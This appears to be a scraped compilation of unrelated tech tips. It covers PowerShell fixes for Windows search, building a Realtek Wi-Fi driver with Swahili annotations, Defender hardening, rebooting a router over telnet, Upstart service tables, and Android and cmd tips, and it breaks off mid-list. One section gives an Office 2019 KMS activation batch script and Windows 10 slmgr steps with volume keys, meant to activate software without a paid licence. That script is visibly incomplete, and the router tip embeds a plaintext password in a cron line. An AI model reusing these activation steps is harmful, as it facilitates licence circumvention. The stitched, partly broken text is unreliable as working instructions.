So your windows search box is not working correctly? maybe you can’t type in search box, or it stopped working after a windows update? whatever the reason I will show you how to fix it.

Can’t Type in Windows 10 Search Bar

Open Powershell as an administrator

Powershell commands

Copy & Paste

1.PowerShell -ExecutionPolicy Unrestricted

2.Get-AppXPackage -AllUsers |Where-Object {$_.InstallLocation -like “*SystemApps*”} | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register “$($_.InstallLocation)\AppXManifest.xml”}

3.$manifest = (Get-AppxPackage Microsoft.WindowsStore).InstallLocation + ‘\AppxManifest.xml’ ; Add-AppxPackage -DisableDevelopmentMode -Register $manifest

Run Command








sudo apt-get update

sudo  dnf update

sudo apt-get dist-upgrade

sudo  dnf dist-upgrade

sudo apt-get install gcc

sudo  dnf install gcc

sudo apt-get install gcc-5

sudo  dnf install gcc-5

sudo apt-get install git

sudo  dnf install git

cd ..

cd ~/Desktop/

git clone…     <=[hapa ndipo drivers zipo]

[utaona hiki kikiendelea katika terminal yako]


Cloning into ‘rtl8188eu’…

remote: Enumerating objects: 106, done.

remote: Counting objects: 100% (106/106), done.

remote: Compressing objects: 100% (74/74), done.

remote: Total 12725 (delta 51), reused 63 (delta 29), pack-reused 12619

Receiving objects: 100% (12725/12725), 16.21 MiB | 830.00 KiB/s, done.

Resolving deltas: 100% (9641/9641), done.


cd rtl8188eu/      <=[badilisha directory ili uwezeshe system kusoma na ku-compile hizo drivers]

sudo make all   <=[hapa utaombwa password ya system iandike na enter]

kama ni sawa [utaona hiki kikiendelea katika terminal yako]


make[1]: Entering directory ‘/usr/src/kernels/5.3.9-200.fc30.i686’

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_ap.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_br_ext.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_cmd.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_debug.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_efuse.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_ieee80211.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_io.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_ioctl_set.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_iol.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_led.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_mlme.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_mlme_ext.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_mp.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_mp_ioctl.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_pwrctrl.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_p2p.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_recv.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_rf.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_security.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_sreset.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_sta_mgt.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_wlan_util.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/core/rtw_xmit.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/HalHWImg8188E_MAC.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/HalHWImg8188E_BB.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/HalHWImg8188E_RF.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/HalPhyRf.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/HalPhyRf_8188e.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/HalPwrSeqCmd.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/Hal8188EPwrSeq.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/Hal8188ERateAdaptive.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/hal_intf.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/hal_com.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/odm.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/odm_debug.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/odm_interface.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/odm_HWConfig.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/odm_RegConfig8188E.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/odm_RTL8188E.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188e_cmd.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188e_dm.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188e_hal_init.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188e_mp.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188e_phycfg.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188e_rf6052.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188e_rxdesc.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188e_sreset.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188e_xmit.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188eu_led.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188eu_recv.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/rtl8188eu_xmit.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/usb_halinit.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/hal/usb_ops_linux.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/os_dep/ioctl_linux.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/os_dep/mlme_linux.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/os_dep/os_intfs.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/os_dep/osdep_service.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/os_dep/recv_linux.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/os_dep/rtw_android.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/os_dep/usb_intf.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/os_dep/usb_ops_linux.o

CC [M]  /home/emanuel/Desktop/rtl8188eu/os_dep/xmit_linux.o

LD [M]  /home/emanuel/Desktop/rtl8188eu/8188eu.o

Building modules, stage 2.

MODPOST 1 modules

CC      /home/emanuel/Desktop/rtl8188eu/8188eu.mod.o

LD [M]  /home/emanuel/Desktop/rtl8188eu/8188eu.ko

make[1]: Leaving directory ‘/usr/src/kernels/5.3.9-200.fc30.i686’


sudo make install

[utaona hiki kikiendelea katika terminal yako]


install -p -m 644 8188eu.ko  /lib/modules/5.3.9-200.fc30.i686/kernel/drivers/net/wireless

cp rtl8188eufw.bin /lib/firmware/.

/sbin/depmod -a 5.3.9-200.fc30.i686

mkdir -p /lib/firmware/rtlwifi

cp rtl8188eufw.bin /lib/firmware/rtlwifi/.




[demo video will be added soon]

additional commands

uname -r         =to see kernel

dmesg -w       =to current inserted devices and processes

lsusb           =to see installed drivers

sudo inxi -Fxmz     =to show system information and hardwares


To check if the Microsoft office status is activated or not with command

[1] open the path in your computer ending with C:\Program Files\Microsoft Office\Office16 OSPP VBS script

[2] copy the path below and open the cmd prompt with admin right

[3] change directory with  CD command to  C:\Program Files\Microsoft Office\Office16 enter

[4] run cmd cscript OSPP.vbs /dstatus enter


To uninstall it

[1] run in that cmd prompt cscript OSPP.vbs / unpkey: [last characters of the product key]

To Activate the office just close all running Microsoft office service

Taskkill  /IM winword.exe  /f  run this in the search area

and copy the below script save as filename.cmd


script to activate mirosoft office 2019 

@echo off
title Office Activation Wizard&cls&echo ============================================================================&echo Office 2019 Standard and Office 2019 Pro Plus Activation&echo ============================================================================&echo.&echo #Supported products:&echo – Microsoft Office Standard 2019&echo – Microsoft Office Professional Plus 2019&echo.&echo.&(if exist “%ProgramFiles%\Microsoft Office\Office16\ospp.vbs” cd /d “%ProgramFiles%\Microsoft Office\Office16”)&(if exist “%ProgramFiles(x86)%\Microsoft Office\Office16\ospp.vbs” cd /d “%ProgramFiles(x86)%\Microsoft Office\Office16″)&(for /f %%x in (‘dir /b ..\root\Licenses16\ProPlus2019VL*.xrm-ms’) do cscript ospp.vbs /inslic:”..\root\Licenses16\%%x” >nul)&(for /f %%x in (‘dir /b ..\root\Licenses16\ProPlus2019VL*.xrm-ms’) do cscript ospp.vbs /inslic:”..\root\Licenses16\%%x” >nul)&echo.&echo ============================================================================&echo Activating your Office…&cscript //nologo slmgr.vbs /ckms >nul&cscript //nologo ospp.vbs /setprt:1688 >nul&cscript //nologo ospp.vbs /unpkey:6MWKP >nul&cscript //nologo ospp.vbs /inpkey:NMMKJ-6RK4F-KMJVX-8D9MJ-6MWKP >nul&set i=1
if %i%==1 set
if %i%==2 set
if %i%==3 set
if %i%==4 goto notsupported
cscript //nologo ospp.vbs /sethst:%KMS_Sev% >nul&echo ============================================================================&echo.&echo.
cscript //nologo ospp.vbs /act | find /i “successful” && (echo.&echo ============================================================================&echo.&echo&goto halt
echo.&echo ============================================================================&echo Sorry! Your version is not supported.&echo
pause >nul

windows 10 activation

[1] open cmd as an administrator and run each line at time untill is succefully

–                      slmgr/ipk W269N-WFGWX-YVC9B-4J6C9-T83GX

–         slmgr /skms

–   slmgr /ato


How To Make Windows Defender To Work More Effective

Windows Defender is malware protection that is included with and built into Windows 8. This software helps identify and remove viruses, spyware, and other malicious software.

Windows Defender runs in the background and notifies you when you need to take specific action. However, you can use it anytime to scan for malware if your computer isn’t working properly or if you clicked a suspicious link online or in an email message.

What is Windows Defender Offline?

Some malicious software will not allow you to access Windows Defender or other antivirus software. To help detect and remove the malware, you can start your computer by using a Windows Defender Offline CD, DVD, or USB flash drive.

Windows Defender is a bonus antivirus by Microsoft that comes bundled with Windows 10. It is one of the best antiviruses that relieves you from annoying while offering robust protection against threats.

However, if you want to strengthen your security even further, please follow these steps to enable enhanced blocking:

If you’re using a Windows 10 Pro, you may use the Group Policy Editor to enable the tweaks, for which you can type gpedit.msc into the Start Menu to open the editor, then go to the following location:
Computer Configuration > Administrative Templates > Windows Components > Windows Defender Antivirus > MAPS

Double-click on the Join Microsoft MAPS entry and switch it to Enabled.
In the Options box, switch it to Advanced MAPS.
Click OK. (It sends information to Microsoft about detected software, and is required for the advanced options to work).Microsoft maps
While working over MAPS folder, you need to enable Configure the “Block at First Sight” feature to perform real-time verification with Microsoft protective services on potentially infected content.
You may choose how to send file samples with the Send file samples when further analysis is required entry.
You must choose one of the latter two options if you have Block at First Sight enabled.
With MAPS enabled, switch to the MpEngine folder on the left sidebar. Click the Select cloud protection level entry and set it to Enabled, then in the bottom-left options box choose High blocking level. Microsoft notes that this makes “Windows Defender . . . more aggressive when identifying suspicious files to block and scan.” Thus, you may experience more false positives pop up when using it.
If you’re using Windows 10 Home edition, you may either use a workaround to access the Group Policy editor or do it through the Registry. For Registry, type regedit into the Start Menu and browse to this location:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender

Registry editor

Right-click on Windows Defender, then choose New > Key and name it Spynet (another name for MAPS).
Right-click on Spynet, and choose New > DWORD (32-bit) Value. Name this one SpynetReporting and double-click to open its properties and set it to 2.
Again, right-click on the Windows Defender entry and use New > Key to name another key MpEngine. Right-click MpEngine and create a New > DWORD (32-bit) Value with the name MpCloudBlockLevel. Double-click this and set its value to 2 as well.
These changes in the Group Policy editor does the Registry tweaks. But either way, this makes Windows Defender more resistant to threats.
Overall, Windows Defender is an efficient tool and you can make it work better for you by performing these changes. It may look a hassle in first place, however, the level of security you get after this is appreciated.

How to Run Windows Defender in Command Prompt on Windows 10

“%ProgramFiles%\Windows Defender\MpCmdRun.exe”
“%ProgramFiles%\Windows Defender\MpCmdRun.exe” -SignatureUpdate
“%ProgramFiles%\Windows Defender\MpCmdRun.exe” -Scan -ScanType 1
“%ProgramFiles%\Windows Defender\MpCmdRun.exe” -Scan -ScanType 2
“%ProgramFiles%\Windows Defender\MpCmdRun.exe” -Scan -ScanType -BootSectorScan
“%ProgramFiles%\Windows Defender\MpCmdRun.exe” -Scan -ScanType 3 -File C:\Users\Public
“%ProgramFiles%\Windows Defender\MpCmdRun.exe” -Scan -ScanType 3 -File PATH TO FILE OR FOLDER

Run Windows Defender from Batch File:
@ECHO OFF “%ProgramFiles%\Windows Defender\MSASCui.exe” -QuickScan
@ECHO OFF “%ProgramFiles%\Windows Defender\MSASCui.exe” -FullScan
@ECHO OFF “%ProgramFiles%\Windows Defender\MSASCui.exe” -UpdateAndQuickScan
@ECHO OFF “C:\Program Files\Windows Defender\MSASCui.exe” -UpdateAndQuickScan -hide
@ECHO OFF “%ProgramFiles%\Windows Defender\MSASCui.exe” -Update
@ECHO OFF “%ProgramFiles%\Windows Defender\MpCmdRun.exe” -SignatureUpdate


fix hidden file

Steps –

1.  Start- Run – cmd – Enter

2. Type drive letter eg. F:

3. Now type attrib -s -h /s /d *.* and ENTER

4 Wait for a while

5. And there you go, your data is recovered






How to Automatically Reboot Your Router the Geeky Way

Verizon FIOS is great — the speeds are incredible, and the price is… well, kinda expensive. The real problem is that the terrible router they give you needs to be rebooted all the time, which is a royal pain considering it’s down in the basement. Plus, I don’t want to get off the couch.

So I contemplated how I could solve this problem using technology. That’s what geeks do, right?

Yeah, I know, I could probably call Verizon and upgrade the router, I’m sure they have a better model now. And sure, you can update the firmware, but that won’t work for my old router since there isn’t an update. Time for an easier solution that ideally involves a cron job. Cron jobs are always a good decision.

After three minutes of research and brainstorming, a solution presented itself: You can enable telnet on the router, setup a script that automatically runs a series of commands using the telnet interface, and then schedule that script with a cron job to run on a regular basis. For me, that meant every morning at 7am, an hour before I wake up, and again at 5:30pm, since I’m always out of the house at that point. Problem solved, and I can use Vim, which also makes me happy.

And of course, you can make a script to run on demand to immediately reboot the router whenever you want.

Note: you can probably do the same thing with a router that isn’t Verizon. You’ll need to check your router administration panel and see how the options work on there.

Connecting to Your Router via Telnet

The first thing you’ll want to do is figure out how to enable telnet on the router. For the Verizon router, that required going into Advanced -> Local Administration and making sure “Using Primary Telnet Port” is enabled. Make sure to click Apply.

At this point you can easily use telnet from the terminal or command prompt to connect to the router. If you’re using Windows, you’ll probably have to enable telnet. To connect, just type this, substituting the IP address for your own router’s IP if necessary (though most are set to use the

192 range)


Once you’re in there, you can usually type the help command to see what the options are. For Verizon FIOS, the option I was looking for was in the system sub-section, and was aptly titled “reboot.” You have to actually type “system reboot” and not just “reboot”

Once you type the command at the prompt, you’ll be disconnected, and the router will be rebooted. Easy, yes. But who wants to do all that typing every time?

Scripting Telnet through the Terminal (OS X or Linux or Cygwin on Windows)

We’re going to assume you have access to the bash shell, whether that’s in your normal OS, or if your OS (Windows) doesn’t have bash, you might have to install Cygwin.

It’s surprisingly easy to script a set of command and pipe them into the telnet application. All you need to do is something like this:

(echo commandname;echo anothercommand) | telnet

The only problem is the nagging login that you have to get through… it doesn’t show up right away. So if you pipe in an “echo admin” and then “echo password,” it will happen too quickly and won’t be sent to the server. The solution? Use the sleep command!

Adding in a couple of sleep 3 commands, to wait three seconds, solves the problem. First we’ll echo the username and password, and then we’ll echo the reboot command, and each time we’ll wait three seconds between. The final command will reboot the server immediately:

(sleep 3;echo admin;sleep 3;echo mypassword;sleep 3;echo system reboot;sleep 3;) | telnet

You can put this into a shell script and run it whenever you want. Or you can add it to your cron like this (on OS X or Linux):

crontab -e

Add this line somewhere:

1 7 * * * (sleep 3;echo admin;sleep 3;echo mypassword;sleep 3;echo system reboot;sleep 3;) | telnet

This will reboot your router at 7:01 AM each morning.

Rebooting the Router the Windows Way

If you’re running Windows, it’s a lot more complicated to schedule this automatically, but we can definitely script it out easily enough. First you’re going to need to go into Control Panel, get to the “Turn Windows features on or off” panel (just search for it), and then enable the Telnet

Now you can paste the following into Notepad, but change out the router IP if necessary, and change the mypassword line to be your actual password instead. You may need to edit the script for different commands.


Option explicit

Dim oShell

set oShell= Wscript.CreateObject(“WScript.Shell”)

oShell.Run “telnet”

WScript.Sleep 3000

oShell.Sendkeys “open”

WScript.Sleep 3000

oShell.Sendkeys “admin~”

WScript.Sleep 3000

oShell.Sendkeys “mypassword~”

WScript.Sleep 3000

oShell.Sendkeys “system reboot~”

WScript.Sleep 3000

oShell.Sendkeys “~”


Save it out as a .vbs extension, and then you can double-click on it any time you want to reboot the router.

Scheduling in Windows with a Scheduled Task

Open up the Task Scheduler and create a new Basic Task, giving it a name and a schedule — daily at a certain time would work. Then use the Start a Program option and browse to the script file that you’ve created.taskCapture



Commands to type:
Command 1: powershell

(with command 2 and 3 if after pasting you notice a dash or a hyphen after AppXManifest-, remove it (remove the dash or hyphen after AppXManifest) )

Command 2: Get-AppXPackage -AllUsers | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register “$($_.InstallLocation)\AppXManifest­.xml”}

Command 3: Get-AppxPackage | % { Add-AppxPackage -DisableDevelopmentMode -Register “$($_.InstallLocation)\AppxManifest­.xml” -verbose }






Configure jobs/services in ubuntu

[1] For Upstart one, list all like follows.
The one with “start/running” is executed when booting the system. And also the one with “process ***” are the daemon service.




initctl list start/running

rsyslog start/running, process 689

tty4 start/running, process 1090

udev start/running, process 531

upstart-udev-bridge start/running, process 520




[2] For Upstart one, the configration file is under “/etc/init”. Jobs are controled by them.
For example, if you’d like to stop “atd” and disable autostart, set like follows.




initctl stop atd 

atd stop/waiting


vi /etc/init/atd.conf

# Comment out



 start on runlevel [2345]


[3] For Upstart one, it’s possible to know jobs like follows which are executed when booting. And also it’s possible to know the meanings for “start on ***” with “man upstart-events”.




grep “start on” /etc/init/* 


/etc/init/acpid.conf:start on runlevel [2345]

/etc/init/apport.conf:start on runlevel [2345]

/etc/init/atd.conf:#start on runlevel [2345]

/etc/init/ on virtual-filesystems

/etc/init/ on mounted MOUNTPOINT=/

/etc/init/ on mounted MOUNTPOINT=/

/etc/init/ on mounted MOUNTPOINT=/

/etc/init/console.conf:start on stopped rc RUNLEVEL=[2345] and container CONTAINER=lxc

/etc/init/console-font.conf:start on starting plymouth-splash

/etc/init/console-setup.conf:start on (virtual-filesystems

/etc/init/container-detect.conf:start on mounted MOUNTPOINT=/run





man upstart-events 


Table 1: Well-Known System Events Summary.



|Ref |          Event           | Type | Emit |          Time          | Note |


|    | all-swaps                |  S   |  M   | > (5)                  |      |

|    | control-alt-delete(7)    |  S   |  A   | > (5)                  |  A   |

|    | container                |  S   |  C   | > /run mounted         |  Q   |

|    | dbus-activation          |  S   |  B   | > D-Bus client request |      |

|    | deconfiguring-networking |  H   |  V   | < non-local IFs down   |  P   |

|    | desktop-session-start    |  H   |  D   | > X(7) session created |  B   |

|    | desktop-shutdown         |  H   |  D   | > X(7) session ended   |  O   |

|    | device-not-ready         |  H   |  M   | > (2)                  |  N   |

|    | drm-device-added         |  S   |  U   | > (5)                  |  C   |

|    | failsafe-boot            |  S   |  X   | > (7) and local IF     |  S   |

|    | file                     |  S   |  K   | > (1)                  |  U   |

| 7  | filesystem               |  S   |  M   | After last (1)         |  D   |

|    | graphics-device-added    |  S   |  U   | > (5)                  |  C   |

|    | keyboard-request(7)      |  S   |  A   | > (5)                  |  E   |

|    | local-filesystems(7)     |  S   |  M   | > (6)                  |      |

|    | login-session-start      |  H   |  D   | < DM running           |  F   |

| 1  | mounted(7)               |  H   |  M   | > associated (2)       |  G   |

| 2  | mounting(7)              |  H   |  M   | > (5)                  |  H   |

| 3  | net-device-added         |  S   |  U   | > (5)                  |  C   |

|    | net-device-changed       |  S   |  U   | > (5)                  |  C   |

|    | net-device-down          |  S   |  F   | < (4)                  |  C   |

| 4  | net-device-removed       |  S   |  U   | > (5)                  |  C   |

|    | net-device-up            |  S   | F,N  | > (3)                  |  C   |

|    | not-container            |  S   |  C   | > /run mounted         |  Q   |

|    | power-status-changed(7)  |  S   |  I   | > (5)                  |  I   |

|    | recovery                 |  S   |  G   | Boot (<5)              |  R   |

|    | remote-filesystems(7)    |  S   |  M   | > (6)                  |      |

|    | runlevel(7)              |  M   |  T   | > (7) + (8)            |      |

|    | socket(7)                |  S   |  S   | > socket connection    |      |

| 5  | startup(7)               |  S   |  I   | Boot                   |  J   |

|    | started(7)               |  S   |  I   | > job started          |  K   |

|    | starting(7)              |  H   |  I   | < job starts           |  K   |

| 8  | static-network-up        |  S   |  N   | > last static IF up    |      |

|    | stopped(7)               |  S   |  I   | > job stopped          |  K   |

|    | stopping(7)              |  H   |  I   | < job stops            |  K   |

|    | unmounted-remote-        |  H   |  V   | >   last   remote   FS |  L   |

|    | filesystems              |      |      | unmounted              |      |

| 6  | virtual-filesystems(7)   |  S   |  M   | > last virtual FS (1)  |  M   |



Table 2: Well-Known User Events Summary.



|Ref |      Event       | Type | Emit |              Time               | Note |


|    | desktop-end(7)   |  S   |  J   | < (2)                           |      |

|    | desktop-start(7) |  H   |  J   | > (3)                           |      |

|    | file             |  S   |  K   | > (1)                           |  U   |

| 2  | session-end(7)   |  M   |  I   | < Session Init end              |      |

| 1  | startup(7)       |  S   |  I   | > Session Init start            |  J   |

|    | :sys:*           |  S   |  E   | > upstart-event-bridge(8) start |      |

| 3  | xsession         |  M   |  H   | > (1)                           |  T   |



Table 3: Event Types.



|Ref | Event Type | Notes                         |


| H  | Hook       | Blocking.  Waits  for  events |

|    |            | that start on or stop on this |

|    |            | event.                        |

| M  | Method     | Blocking task.                |

| S  | Signal     | Non-blocking.                 |



Table 4: Event Emitters.



|Ref | Emitter                          | Notes                           |


| A  | System Administrator (initiator) | Technically emitted by init(8). |

| B  | dbus-daemon(1)                   | Run with “–activation=upstart” |

| C  | container-detect job             |                                 |

| D  | Display Manager                  | e.g. lightdm/gdm/kdm/xdm.       |

| E  | upstart-event-bridge(8)          |                                 |

| F  | ifup(8) or ifdown(8)             | See /etc/network/.              |

| G  | bootloader or initramfs          |                                 |

| H  | xsession-init session job        |                                 |

| I  | init(8)                          | Either PID 1 or a Session Init. |

| J  | job that starts desktop          | gnome-session job for Ubuntu.   |

| K  | upstart-file-bridge(8)           |                                 |

| M  | mountall(8)                      |                                 |

| N  | network-interface job            |                                 |

| S  | upstart-socket-bridge(8)         |                                 |

| T  | telinit(8), shutdown(8)          |                                 |

| U  | upstart-udev-bridge(8)           |                                 |

| V  | System V init system             |                                 |

| X  | failsafe job                     |                                 |



Table 5: Event Summary Notes.



|Note | Detail                                                          |


| A   | Requires administrator to press Control-Alt-Delete key combina- |

|     | tion on the console.                                            |

| B   | Event generated when user performs graphical login.             |

| C   | These are specific examples. upstart-udev-bridge(8)  will  emit |

|     | events  which  match the pattern, “S-device-A” where ‘S’ is the |

|     | udev subsystem and ‘A’ is the udev action. See udev(7) and  for |

|     | further  details.  If  you  have sysfs mounted, you can look in |

|     | /sys/class/ for possible values for subsystem.                  |

| D   | Note this is in the singular – there is no ‘filesystems’ event. |

| E   | Emitted when administrator presses Alt-UpArrow key  combination |

|     | on the console.                                                 |

| F   | Denotes Display Manager running (about to be displayed), but no |

|     | users logged in yet.                                            |

| G   | Generated for each mount that completes successfully.           |

| H   | Emitted when mount attempt for single entry from  fstab(5)  for |

|     | any filesystem type is about to begin.                          |

| I   | Emitted when Upstart receives the SIGPWR signal.                |

| J   | Initial event (system or Session Init).                         |

| K   | Although the events are emmitted by init(8), the instigator may |

|     | be initctl(8) if a System Administrator has manually started or |

|     | stopped a job.                                                  |

| L   | /etc/init/                                         |

| M   | Emitted when all virtual filesystems (such as /proc) mounted.   |

| N   | Emitted  when the –dev-wait-time timeout is exceeded for moun- |

|     | tall(8).  This defaults to 30 seconds.                          |

| O   | Emitted when the X(7) display  manager  exits  at  shutdown  or |

|     | reboot, to hand off to the shutdown splash manager.             |

| P   | Emitted  by  /etc/init.d/networking  just prior to stopping all |

|     | non-local network interfaces.                                   |

| Q   | Either ‘container’ or ‘not-container’ is emitted (depending  on |

|     | the environment), but not both.                                 |

| R   | Emitted  by  either  the  initramfs  or bootloader (for example |

|     | grub) as the initial event (rather than startup(7))  to  denote |

|     | the  system has booted into recovery mode. If recovery was suc- |

|     | cessful, the standard startup(7) event is then emitted,  allow- |

|     | ing the system to boot as normal.                               |

| S   | Emitted  to  indicate  the system has failed to boot within the |

|     | expected time. This event will trigger other jobs  to  forcibly |

|     | attempt to bring the system into a usable state.                |

| T   | Only emitted for a graphical session.                           |

| U   | See file-event(7).                                              |



[4] For SysVinit one, for example, NTP, it’s easy to manage them to install a tool like follows.




aptitude -y install sysv-rc-conf


sysv-rc-conf –list 

# list services


sysv-rc-conf ntp on 

# set auto-start for NTP


sysv-rc-conf ntp off 

# disable auto-start for NTP




How to fix the process “” has stopped error

From the Nexus 5 to the Galaxy S4, there is one problem that often arises on your phone which is a real pain and that’s when you suddenly receive an error message saying “the has stopped” or “ has stopped unexpectedly”. Regardless of which device you use, this is actually quite a simple thing to fix. Here are the most effective solutions on how to fix the process has stopped error.

How to fix the process has stopped error

Clear cache for the app in question

If you notice that the error message pops up repeatedly when you try to launch a particular app, then chances are that it is the cause of the problem. You can go to Settings > Apps and find the app in question. From here you can clear the cache and see if the problem persists. If that still doesn’t help you can clear the data for the app, but this means you will lose any app data (passwords, game progress, chats etc), so you might want to back up your app data first.

If that still doesn’t help, try uninstalling and reinstalling the app. This was the solution for the com.process.gapps has stopped error when everyone made the jump to Android KitKat: it was just an issue with SwiftKey. Simply uninstalling and reinstalling SwiftKey cleared it right up.

After clearing the app cache and data, try uninstalling and reinstalling for the fix

Disable Download Manager

Other than clearing the cache and the data for a particular app or even uninstalling your recently downloaded apps, there’s another quick way to get a solution, especially if you don’t which app is causing the issue. First you will go into the settings of your Android smartphone or tablet. This can be reached either through the pull down notifications bar or in the app drawer.

Once in here, find and tap on Application Manager, Applications or Apps (depending on what it’s called on your device), found under the device subcategory of the main Settings page. When you land in the Applications Manager, swipe right to left to get to ‘All’ applications and then look for Download Manager and tap it to open (this is the app with the Android as a logo).

The first option is easy, but wouldn’t be apparent for a first time user.

The app info for Downloads (on my Galaxy S3) and Download Manager is a bit different than other apps, because the uninstall button is replaced with a disable button. To fix the has stopped error, you simply need to press disable and then enable it once again.

Another solution for your gapps error problems

Another option would be to go to the Settings and then Applications Manager and again swipe to ‘All’ apps. This time however, you will press on the soft menu key or the on-screen menu key on the bottom left of your device (or the action overflow menu button on-screen in the top right, depending on your device). Here you will select ‘Reset app preferences’ which will bring the settings of all apps back to square one.

How often do you see this error message? Did these tips help fix the process has stopped error?


This app lets you root almost any Android device with one click –

This app lets you root almost any Android device with one click

So, is KingRoot 4.0 safe? The video uploader says in the comments that “it won’t mess up your phone,” but “it may send your info to China.” We haven’t tried the app ourselves yet, and we’re skeptical about its inherent capabilities. There are a vast number of hoops to jump through to root any device, let alone carrier-specific models. That being said, it appears to work in this video, so maybe it is possible.

Let us know in the comments below if you have any success with this app. The permissions it requests look relatively standard for an app that roots your device, but remember that rooting your smartphone will void your warranty.


14 command that you should know in Microsoft Windows.

1. Use Ctrl-C to Abort a Command If you haven’t executed a command on the command prompt, then you can press backspace and stop it from running. But what do you do when it has been executed? You can press Ctrl-C is such cases, which will stop almost all commands.2. View a Command’s Results One Page (or Line) at a Time
There are commands that fill up your screen and go through multiple pages, making the results virtually useless to you. In order to control these commands, you should run the more command along with them. This stops the output at a single page and displays ‘more’ to show that the command is still running. Pressing spacebar takes you to the next page.

3. Run Command Prompt as an Administrator Automatically

For this you need to create a shortcut to the command prompt and then go to its properties. Here, find the ‘Advanced’ tab and select ‘Run as administrator’. This would run the prompt in administrator mode automatically, whenever you run it.

4. Become a Command Prompt Power User with Function Keys

Here is what the function keys do on the command prompt.

F1: Pastes the last executed command (character by character)
F2: Pastes the last executed command (up to the entered character)
F3: Pastes the last executed command
F4: Deletes current prompt text up to the entered character
F5: Pastes recently executed commands (does not cycle)
F6: Pastes ^Z to the prompt
F7: Displays a selectable list of previously executed commands
F8: Pastes recently executed commands (cycles)
F9: Asks for the number of the command from the F7 list to paste

5. Hack the Prompt Text

Many people don’t know that the command prompt is completely customisable. This can be done through the prompt command. For example, the prompt $m$p$g can be used to show the full path of the mapped drive.

6. Get Help for Any Command

Another lesser known fact is that the help command doesn’t provide information on all commands. If you want to get help about a specific command, then type in the command followed by ‘/?’, which will give you information on it.

7. Save a Command’s Output to a File

The redirection operators > and >> are very useful commands on the command prompt. Using these, you can redirect the output of a command to a particular file, thereby storing the data in the output into the file.

8. View Your Hard Drive’s Entire Directory Structure

The tree command can show you the folder structure of any directory. You can use this to view the directory structure of your hard drive as well.

9. Customise the Command Prompt Title Bar Text

Remember how we told you that the command prompt is fully customisable? Here’s another example of that. You can change the title of the command prompt using the title command. This would give you the power to display anything you want in the title. Just type in the command, followed by what you want.

10. Copy From the Command Prompt

Some say that you can not copy anything from the command prompt. Well, this isn’t true. You can right click on the prompt and choose Mark Now, then mark the text/command that you want to copy and press enter to copy it.

11. Open the Command Prompt From Any Location

You can open the command prompt from any directory on your computer. While the prompt usually opens from the C drive or the System32 folder in Windows (when run as admin), you can also open it from other directories. Simply press and hold down shift and right click on the directory. You will see that a ‘Run Command Prompt Here’ option is showing up on the pop-up menu.

12. Drag and Drop For Easy Path Name Entry

This is actually a very useful command prompt trick, which allows you to save time by not typing very long path names. In order to do this, navigate to the folder that you need on the command prompt and then drag and drop it into the prompt. The path will appear by itself!

13. Shut Down or Restart Another Computer

